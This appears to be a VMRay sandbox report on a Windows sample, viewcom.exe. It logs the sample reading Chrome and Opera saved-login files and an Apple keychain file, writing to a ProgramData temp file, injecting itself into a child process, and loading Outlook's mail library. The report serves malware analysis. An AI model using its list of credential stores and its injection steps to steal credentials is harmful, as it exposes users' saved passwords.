File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data, type = size, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data-wal, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data, type = size, size_out = 0 | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data, size = 2048, size_out = 2048 | 1 |
Fn
Data
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data, type = size, size_out = 0 | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data, size = 16, size_out = 16 | 1 |
Fn
Data
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data, type = size, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data-wal, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data, type = size, size_out = 0 | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\Default\Login Data, size = 2048, size_out = 2048 | 1 |
Fn
Data
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\EVWhitelist\Web Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\EVWhitelist\Login Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\FileTypePolicies\Web Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\FileTypePolicies\Login Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\OriginTrials\Web Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\OriginTrials\Login Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\PepperFlash\Web Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\PepperFlash\Login Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\pnacl\Web Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\pnacl\Login Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant\Web Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant\Login Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\SwiftShader\Web Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\SwiftShader\Login Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\SwReporter\Web Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\SwReporter\Login Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\WidevineCdm\Web Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Google\Chrome\User Data\WidevineCdm\Login Data, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Roaming\Apple Computer\Preferences\keychain.plist, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Roaming\Opera\Opera\wand.dat, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Roaming\Opera\Opera7\profile\wand.dat, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Roaming\Opera Software\Opera Stable\Login Data, type = file_attributes | 1 |
Fn
|
|
File | Create | filename = C:\ProgramData\9F1C.tmp, desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 3 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 11 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 9 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 8 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 17 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 15 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 14 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 12 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 1 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 13 | 1 |
Fn
Data
|
|
File | Write | filename = C:\ProgramData\9F1C.tmp, size = 2 | 1 |
Fn
Data
|
Information | Value |
---|---|
ID | #10 |
File Name | c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe |
Command Line | "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" "C:\ProgramData\9F2D.tmp" |
Initial Working Directory | C:\Users\ATVeyDl98Z\Desktop\ |
Monitor | Start Time: 00:01:19, Reason: Child Process |
Unmonitor | End Time: 00:02:34, Reason: Terminated by Timeout |
Monitor Duration | 00:01:15 |
Information | Value |
---|---|
PID | 0xc80 |
Parent PID | 0xb98 (c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe) |
Is Created or Modified Executable | |
Integrity Level | Medium |
Username | ZJEWV7F\ATVeyDl98Z |
Groups |
|
Enabled Privileges | SeChangeNotifyPrivilege |
Thread IDs |
0x
C84
|
Name | Start VA | End VA | Type | Permissions | Monitored | Dump | YARA Match | Actions |
---|---|---|---|---|---|---|---|---|
private_0x0000000000010000 | 0x00010000 | 0x0002ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000010000 | 0x00010000 | 0x0001ffff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000000020000 | 0x00020000 | 0x00020fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000030000 | 0x00030000 | 0x0012ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000130000 | 0x00130000 | 0x00133fff | Pagefile Backed Memory | Readable |
|
|||
locale.nls | 0x00140000 | 0x001a6fff | Memory Mapped File | Readable |
|
|||
private_0x00000000001b0000 | 0x001b0000 | 0x002affff | Private Memory | Readable, Writable |
|
|||
private_0x00000000002b0000 | 0x002b0000 | 0x0031ffff | Private Memory | Readable, Writable |
|
|||
imm32.dll | 0x002b0000 | 0x002ccfff | Memory Mapped File | Readable |
|
|||
private_0x00000000002b0000 | 0x002b0000 | 0x002b0fff | Private Memory | Readable, Writable |
|
|||
pagefile_0x00000000002c0000 | 0x002c0000 | 0x002c1fff | Pagefile Backed Memory | Readable |
|
|||
private_0x00000000002d0000 | 0x002d0000 | 0x002d0fff | Private Memory | Readable, Writable |
|
|||
private_0x00000000002e0000 | 0x002e0000 | 0x002e0fff | Private Memory | Readable, Writable |
|
|||
windowsshell.manifest | 0x002f0000 | 0x002f0fff | Memory Mapped File | Readable |
|
|||
pagefile_0x00000000002f0000 | 0x002f0000 | 0x002f6fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000300000 | 0x00300000 | 0x00301fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000000310000 | 0x00310000 | 0x0031ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000320000 | 0x00320000 | 0x003e7fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x00000000003f0000 | 0x003f0000 | 0x003f1fff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000000400000 | 0x00400000 | 0x00418fff | Private Memory | Readable, Writable, Executable |
|
|||
pagefile_0x0000000000420000 | 0x00420000 | 0x00520fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000530000 | 0x00530000 | 0x0112ffff | Pagefile Backed Memory | Readable |
|
|||
sortdefault.nls | 0x01130000 | 0x013fefff | Memory Mapped File | Readable |
|
|||
private_0x0000000001400000 | 0x01400000 | 0x0151ffff | Private Memory | Readable, Writable |
|
|||
kernelbase.dll.mui | 0x01400000 | 0x014bffff | Memory Mapped File | Readable, Writable |
|
|||
pagefile_0x00000000014c0000 | 0x014c0000 | 0x014c0fff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x00000000014e0000 | 0x014e0000 | 0x0151ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000001520000 | 0x01520000 | 0x01912fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000001920000 | 0x01920000 | 0x01b1ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001920000 | 0x01920000 | 0x019affff | Private Memory | Readable, Writable |
|
|||
pagefile_0x00000000019b0000 | 0x019b0000 | 0x01a8efff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000001ae0000 | 0x01ae0000 | 0x01b1ffff | Private Memory | Readable, Writable |
|
|||
staticcache.dat | 0x01b20000 | 0x0244ffff | Memory Mapped File | Readable |
|
|||
private_0x0000000002450000 | 0x02450000 | 0x024cffff | Private Memory | Readable, Writable |
|
|||
olmapi32.dll | 0x5f3c0000 | 0x5f846fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msvcp140.dll | 0x6b2e0000 | 0x6b34bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-utility-l1-1-0.dll | 0x6b720000 | 0x6b722fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-environment-l1-1-0.dll | 0x6b730000 | 0x6b732fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-filesystem-l1-1-0.dll | 0x6b740000 | 0x6b742fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-time-l1-1-0.dll | 0x6b750000 | 0x6b752fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-multibyte-l1-1-0.dll | 0x6b760000 | 0x6b764fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-math-l1-1-0.dll | 0x6b770000 | 0x6b774fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-locale-l1-1-0.dll | 0x6d460000 | 0x6d462fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-convert-l1-1-0.dll | 0x6d4a0000 | 0x6d4a3fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-stdio-l1-1-0.dll | 0x6d4b0000 | 0x6d4b3fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-heap-l1-1-0.dll | 0x6d4c0000 | 0x6d4c2fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-string-l1-1-0.dll | 0x6d4d0000 | 0x6d4d3fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-crt-runtime-l1-1-0.dll | 0x6d4e0000 | 0x6d4e3fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
vcruntime140.dll | 0x6d4f0000 | 0x6d503fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-core-file-l1-2-0.dll | 0x6f2c0000 | 0x6f2c2fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-core-processthreads-l1-1-1.dll | 0x6f2d0000 | 0x6f2d2fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-core-localization-l1-2-0.dll | 0x6f2e0000 | 0x6f2e2fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-core-file-l2-1-0.dll | 0x6f2f0000 | 0x6f2f2fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-core-timezone-l1-1-0.dll | 0x6f300000 | 0x6f302fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ucrtbase.dll | 0x6f310000 | 0x6f3ebfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
api-ms-win-core-synch-l1-2-0.dll | 0x6f5a0000 | 0x6f5a2fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
dwmapi.dll | 0x73a00000 | 0x73a12fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
gdiplus.dll | 0x73b60000 | 0x73ceffff | Memory Mapped File | Readable, Writable, Executable |
|
|||
uxtheme.dll | 0x73cf0000 | 0x73d2ffff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wtsapi32.dll | 0x741a0000 | 0x741acfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
comctl32.dll | 0x746f0000 | 0x7488dfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
cryptbase.dll | 0x75660000 | 0x7566bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernelbase.dll | 0x758d0000 | 0x75919fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
usp10.dll | 0x75a70000 | 0x75b0cfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
lpk.dll | 0x75b10000 | 0x75b19fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rpcrt4.dll | 0x75b60000 | 0x75c00fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
user32.dll | 0x75c10000 | 0x75cd8fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
advapi32.dll | 0x76030000 | 0x760cffff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shlwapi.dll | 0x760e0000 | 0x76136fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sechost.dll | 0x76330000 | 0x76348fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernel32.dll | 0x76350000 | 0x76423fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shell32.dll | 0x764f0000 | 0x77139fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
imm32.dll | 0x77140000 | 0x7715efff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msctf.dll | 0x772e0000 | 0x773abfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msvcrt.dll | 0x773b0000 | 0x7745bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ole32.dll | 0x77460000 | 0x775bbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ntdll.dll | 0x775c0000 | 0x776fbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
gdi32.dll | 0x77710000 | 0x7775dfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
apisetschema.dll | 0x77800000 | 0x77800fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
pagefile_0x000000007f6f0000 | 0x7f6f0000 | 0x7f7effff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x000000007ffb0000 | 0x7ffb0000 | 0x7ffd2fff | Pagefile Backed Memory | Readable |
|
|||
private_0x000000007ffda000 | 0x7ffda000 | 0x7ffdafff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdf000 | 0x7ffdf000 | 0x7ffdffff | Private Memory | Readable, Writable |
|
Injection Type | Source Process | Source Os Thread ID | Injection Info | Success | Count | Logfile |
---|---|---|---|---|---|---|
Modify Memory | #6: c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 0xbb0 | address = 0x400000, size = 102400 | 1 |
Fn
Data
|
|
Modify Memory | #6: c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 0xbb0 | address = 0x7ffda008, size = 4 | 1 |
Fn
Data
|
|
Modify Control Flow | #6: c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 0xbb0 | os_tid = 0xc84, address = 0x0 | 1 |
Fn
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
System | Get Time | type = System Time, time = 2017-08-31 14:52:22 (UTC) | 1 |
Fn
|
|
Module | Get Handle | module_name = c:\windows\system32\kernel32.dll, base_address = 0x76350000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = FlsAlloc, address_out = 0x763a418d | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = FlsFree, address_out = 0x763a1f61 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = FlsGetValue, address_out = 0x763a1e16 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = FlsSetValue, address_out = 0x763a76e6 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = InitializeCriticalSectionEx, address_out = 0x763a3879 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CreateEventExW, address_out = 0x763524d8 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CreateSemaphoreExW, address_out = 0x76382111 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = SetThreadStackGuarantee, address_out = 0x76392510 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CreateThreadpoolTimer, address_out = 0x7638b009 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = SetThreadpoolTimer, address_out = 0x775e89be | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = WaitForThreadpoolTimerCallbacks, address_out = 0x775dc02a | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CloseThreadpoolTimer, address_out = 0x775dc0d2 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CreateThreadpoolWait, address_out = 0x76383f78 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = SetThreadpoolWait, address_out = 0x775e8bfb | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CloseThreadpoolWait, address_out = 0x775db567 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = FlushProcessWriteBuffers, address_out = 0x77605998 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = FreeLibraryWhenCallbackReturns, address_out = 0x775d2251 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetCurrentProcessorNumber, address_out = 0x775d28f6 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x76382004 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CreateSymbolicLinkW, address_out = 0x763d9aa9 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = SetDefaultDllDirectories, address_out = 0x0 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = EnumSystemLocalesEx, address_out = 0x763df3cf | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CompareStringEx, address_out = 0x763aebc6 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetDateFormatEx, address_out = 0x763ef29f | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetLocaleInfoEx, address_out = 0x763853a5 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetTimeFormatEx, address_out = 0x763ef21a | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetUserDefaultLocaleName, address_out = 0x763df70b | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = IsValidLocaleName, address_out = 0x763df71b | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = LCMapStringEx, address_out = 0x763df72b | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetCurrentPackageId, address_out = 0x0 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetTickCount64, address_out = 0x7638eb4e | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetFileInformationByHandleExW, address_out = 0x0 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = SetFileInformationByHandleW, address_out = 0x0 | 1 |
Fn
|
|
File | Open | filename = STD_INPUT_HANDLE | 1 |
Fn
|
|
File | Open | filename = STD_OUTPUT_HANDLE | 1 |
Fn
|
|
File | Open | filename = STD_ERROR_HANDLE | 1 |
Fn
|
|
Environment | Get Environment String | 1 |
Fn
Data
|
||
Module | Get Filename | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
Module | Load | module_name = advapi32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Load | module_name = ole32.dll, base_address = 0x77460000 | 1 |
Fn
|
|
Module | Load | module_name = shell32.dll, base_address = 0x764f0000 | 1 |
Fn
|
|
Registry | Create Key | reg_name = HKEY_LOCAL_MACHINE\Software\Clients\Mail\Microsoft Outlook | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Clients\Mail\Microsoft Outlook, value_name = DLLPathEx, data = 67 | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Clients\Mail\Microsoft Outlook, value_name = MSIApplicationLCID, data = 77 | 1 |
Fn
|
|
Module | Load | module_name = C:\Program Files\Microsoft Office\Root\Office16\OLMAPI32.DLL, base_address = 0x0 | 1 |
Fn
|
|
Module | Get Handle | module_name = mscoree.dll | 1 |
Fn
|
This feature requires an online-connection to the VMRay backend.
An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefox
with deactivated setting "security.fileuri.strict_origin_policy".